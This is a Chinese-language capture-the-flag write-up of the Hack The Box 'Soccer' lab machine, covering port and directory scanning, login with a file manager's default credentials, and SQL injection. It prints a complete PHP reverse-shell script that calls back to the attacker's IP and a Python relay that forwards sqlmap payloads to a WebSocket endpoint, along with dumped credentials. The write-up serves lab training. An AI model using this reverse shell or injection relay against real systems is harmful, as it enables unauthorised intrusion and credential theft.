Hack The Box之Soccer靶机WriteUp

J1angL1 16 0

这是一个简单的靶场,考察的技能在于:扫描、枚举、提权

扫描

首先利用nmap进行端口扫描,看一下靶机都有哪些服务:

 

Hack The Box之Soccer靶机WriteUp

在该靶场中运行着的服务如下:

 
PORT     STATE SERVICE         VERSION
22/tcp   open  tcpwrapped
| ssh-hostkey: 
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Soccer - Index 
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close

随后我们访问一下靶场的ip,可以发现被重定向到了一个私密域名http://soccer.htb/,我们可以将这个域名和ip添加到hosts文件中,以便后续访问:

sudo echo 10.10.11.194 soccer.htb >> /etc/hosts
su echo 10.10.11.194 soccer.htb >> /etc/hosts

添加完成后我们访问一下这个域名,发现其中并没有什么东西,再看一下源代码里面也没有什么可以利用的地方,那就继续扫,直到扫出来东西:

Hack The Box之Soccer靶机WriteUp

我一般扫描目录会用kali里面下面这个字典:

利用dirb、dirsearch或者gobuster工具进行目录扫描,我一般会用gobuster,因为这个扫描的话会比较快一些,当然,还是看师傅们个人的习惯。

gobuster dir -u http://soccer.htb/ -w /usr/share/wordlists/dirb/big.txt

Hack The Box之Soccer靶机WriteUp

经过扫描,我们发现了一个目录/tiny

登录后台

我们对其进行访问:

Hack The Box之Soccer靶机WriteUp

看起来是一个登录界面,但是我们也没有账号密码,不过在其页面底部我们可以访问一下啊,便可以知道这个是由https://tinyfilemanager.github.io/ 开发的一个PHP文件管理器,而且是开源的,那么我们可以看一下代码看看能不能找到一些思路:

Hack The Box之Soccer靶机WriteUp

 

Hack The Box之Soccer靶机WriteUp

在github的readme中成功找到了默认用户名和密码,我们尝试登陆一下:

Hack The Box之Soccer靶机WriteUp

可以发现成功登录,那么我们可以上传一个🐎。

Hack The Box之Soccer靶机WriteUp

反弹Shell

这里的话,因为用的是kali,就选反向shell上传并进行连接:https://github.com/Cyberw1ng/Bug-Bounty/blob/main/rev_shell.php

<?php
 
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.42';  // CHANGE THIS
$port = 2929;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
 
if (function_exists('pcntl_fork')) {
 
    $pid = pcntl_fork();
    
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    
    if ($pid) {
        exit(0);  
    }
 
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }
 
    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
 
chdir("/");
umask(0);
 
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}
 
$descriptorspec = array(
   0 => array("pipe", "r"),  
   1 => array("pipe", "w"),  
   2 => array("pipe", "w")   
);
 
$process = proc_open($shell, $descriptorspec, $pipes);
 
if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}
 
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
 
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }
 
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }
 
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }
 
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }
 
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
 
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}
 
?>

在将反向shell中的ip修改为kali的ip后我们保存好文件将其上传:

Hack The Box之Soccer靶机WriteUp

Hack The Box之Soccer靶机WriteUp

在kali上面做好监听之后我们访问上传的反向shell进行连接。

Hack The Box之Soccer靶机WriteUp

在获取shell之后,我们可以发现现在是sh,可以利用下面的命令来将命令改为bash shell:

python3 -c "import pty;pty.spawn('/bin/bash')"

Hack The Box之Soccer靶机WriteUp

因为之前用nmap扫描靶机的时候我们知道这里是一个 nginx中间件,对其有研究的师傅都知道,在 /etc/nginx/sites-enabled 文件内,有着服务器所有开放的站点,我们列出其中的文件,可以发现有一个子域:soc-player.htb

Hack The Box之Soccer靶机WriteUp

那么我们将http://soc-player.soccer.htb/ 添加到我们的 hosts 文件中,并在浏览器里面进行访问:

Hack The Box之Soccer靶机WriteUp

可以发现有 sign up 选项,我们可以注册并登录一下看看:

Hack The Box之Soccer靶机WriteUp

Hack The Box之Soccer靶机WriteUp

我们可以发现这里是用来验证Ticket是否存在的,那么我们就可以考虑是否存在sql注入,然后阅读一下源码,我们可以发现这个字段是连接到Web socket的:

Hack The Box之Soccer靶机WriteUp

        var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
        window.onload = function () {
        var btn = document.getElementById('btn');
        var input = document.getElementById('id');
        ws.onopen = function (e) {
            console.log('connected to the server')
        }
        input.addEventListener('keypress', (e) => {
            keyOne(e)
        });
        function keyOne(e) {
            e.stopPropagation();
            if (e.keyCode === 13) {
                e.preventDefault();
                sendText();
            }
        }
        function sendText() {
            var msg = input.value;
            if (msg.length > 0) {
                ws.send(JSON.stringify({
                    "id": msg
                }))
            }
            else append("????????")
        }
        }
        ws.onmessage = function (e) {
        append(e.data)
        }
        function append(msg) {
        let p = document.querySelector("p");
        // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
        // p.style.color = randomColor;
        p.textContent = msg
        }

 

SQL注入

那么我们可以使用下面的 python 代码将请求从 sqlmap 定向到我们的本地主机:

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
 
ws_server = "ws://soc-player.soccer.htb:9091"
 
def send_ws(payload):
 ws = create_connection(ws_server)
 # If the server returns a response on connect, use below line 
 #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
 
 # For our case, format the payload in JSON
 message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
 data = '{"id":"%s"}' % message
 
 ws.send(data)
 resp = ws.recv()
 ws.close()
 
 if resp:
  return resp
 else:
  return ''
 
def middleware_server(host_port,content_type="text/plain"):
 
 class CustomHandler(SimpleHTTPRequestHandler):
  def do_GET(self) -> None:
   self.send_response(200)
   try:
    payload = urlparse(self.path).query.split('=',1)[1]
   except IndexError:
    payload = False
   if payload:
    content = send_ws(payload)
   else:
    content = 'No parameters specified!'
 
   self.send_header("Content-type", content_type)
   self.end_headers()
   self.wfile.write(content.encode())
   return
 
 class _TCPServer(TCPServer):
  allow_reuse_address = True
 
 httpd = _TCPServer(host_port, CustomHandler)
 httpd.serve_forever()
 
 
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
 
try:
 middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
 pass

我们先运行python代码,然后再跑sqlmap进行一个注入:

Hack The Box之Soccer靶机WriteUp

sqlmap -u "http://localhost:8081/?id=1" -p "id"

随后我们可以注入出来一个账号和密码:

+------+-------------------+----------+----------------------+
| id   | email             | username | password             |
+------+-------------------+----------+----------------------+
| 1324 | player@player.htb | player   | PlayerOftheMatch2022 |
+------+-------------------+----------+----------------------+

登陆发现存在账号,但是似乎没有什么用,不过后来想起来ssh端口还开放着,当时也没爆破,不如在这里测试一下,利用注入出来的账号,然后发现成功登录(我严重怀疑是不是注册一个账号都会建立一个用户,不过由于太懒,也没去尝试):

Hack The Box之Soccer靶机WriteUp

列出当前目录文件后发现有一个user.txt,本来以为是一个用户的hash值,不过抱着找到hash就提交的想法,发现这是个flag,结束,也懒得提权了。。。

Hack The Box之Soccer靶机WriteUp

总结

这确实是一个简单的靶机,全程下来应该是三个小时左右,加上期间自己的一些私事,还算是比较简单,熟悉了整体流程,比较有意思的地方应该就是转发进行sql注入,当然,在靶场的标签里面还有提权,不过由于拿到flag我就没去进行,可能提权也是一个比较有意思的地方,有兴趣的师傅可以去尝试一下。

 

发表评论 取消回复
表情 图片 链接 代码

分享